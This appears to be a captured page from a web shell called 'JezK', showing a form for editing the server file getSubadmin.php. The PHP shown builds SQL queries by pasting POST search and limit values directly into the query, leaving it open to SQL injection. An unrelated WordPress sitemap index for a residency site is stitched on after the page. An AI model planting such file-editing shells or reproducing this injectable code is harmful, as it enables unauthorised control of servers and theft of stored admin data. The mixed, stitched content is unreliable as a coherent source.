
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: getSubadmin.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
include('adminObject.php');
$data = [];
$limit = &quot;&quot;;
$whereCondition = &quot;&quot;;
$tableColumns = array('sub.name', 'sub.phone', 'sub.email');


if ($_POST['length'] != '-1') {
    $limit = &quot;LIMIT &quot; . $_POST['length'];
}

// For Search
if ($_POST['search']['value'] != &quot;&quot;) {
    $whereCondition = &quot;WHERE (&quot;;
    for ($i = 0; $i &lt; count($tableColumns); $i++) {
        $whereCondition .= $tableColumns[$i] . &quot; LIKE '%&quot; . $_POST['search']['value'] . &quot;%' OR &quot;;
    }
    $whereCondition = substr_replace($whereCondition, &quot;&quot;, -3);
    $whereCondition .= ') ';
}

$sql = &quot;SELECT sub.id, sub.name, sub.phone, sub.email,COALESCE(b.name, 'All') as branchName FROM subaadmin AS sub LEFT JOIN braches AS b ON sub.branch_id = b.brach_id WHERE sub.delete_status = 0  $whereCondition &quot;;

// Query for no.of rows 
$totalRows = $admin-&gt;conn-&gt;prepare($sql);
$totalRows-&gt;execute();
$totalRowsResult = $totalRows-&gt;rowcount();


// Query to show data
$query = $admin-&gt;conn-&gt;prepare($sql . ' ORDER BY `id` DESC  LIMIT :limit OFFSET :offset');
$query-&gt;bindValue(':limit', $_POST['length'], PDO::PARAM_INT);
$query-&gt;bindValue(':offset', $_POST['start'], PDO::PARAM_INT);
$query-&gt;execute();
$queryData = $query-&gt;fetchAll(PDO::FETCH_ASSOC);
$filterCount = $query-&gt;rowcount();


$j = 1;

foreach ($queryData as $row) {

    $dataTableRow = array();
    $dataTableRow[]  = $_POST['start'] + $j;


    $dataTableRow[] = $row['name'];
    $dataTableRow[] = $row['phone'];
    $dataTableRow[] = $row['email'];
    $dataTableRow[] = $row['branchName'];
    

    $dataTableRow[] = '&lt;button class=&quot;no-btn de-primary-color me-1&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#editSubAdmin&quot; onclick=&quot;getSubAdminDetailsId(' . $row['id'] . ')&quot;&gt;&lt;i class=&quot;fas fa-eye&quot;&gt;&lt;/i&gt; &lt;span class=&quot;icon-text&quot;&gt;&lt;/span&gt;
    &lt;/button&gt;' .
        '&lt;button class=&quot;de-delete&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#deleteModal&quot; id=&quot;' . $row['id'] . '&quot; 
    onclick=&quot;getSubadminId(' . $row['id'] . ')&quot;&gt;&lt;i class=&quot;fas fa-trash-alt&quot;&gt;&lt;/i&gt; &lt;span class=&quot;icon-text&quot;&gt;&lt;/span&gt;
    &lt;/button&gt;';

    $data[] = $dataTableRow;
    $j++;
}



$datatableResult = [
    &quot;draw&quot; =&gt; $_POST['draw'],
    &quot;recordsTotal&quot; =&gt; $totalRowsResult,
    &quot;recordsFiltered&quot; =&gt; $totalRowsResult,
    &quot;data&quot; =&gt; $data
];
echo json_encode($datatableResult);
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://satyadevaresidency.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-testimonial-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-gallery_cat-1.xml</loc></sitemap></sitemapindex>
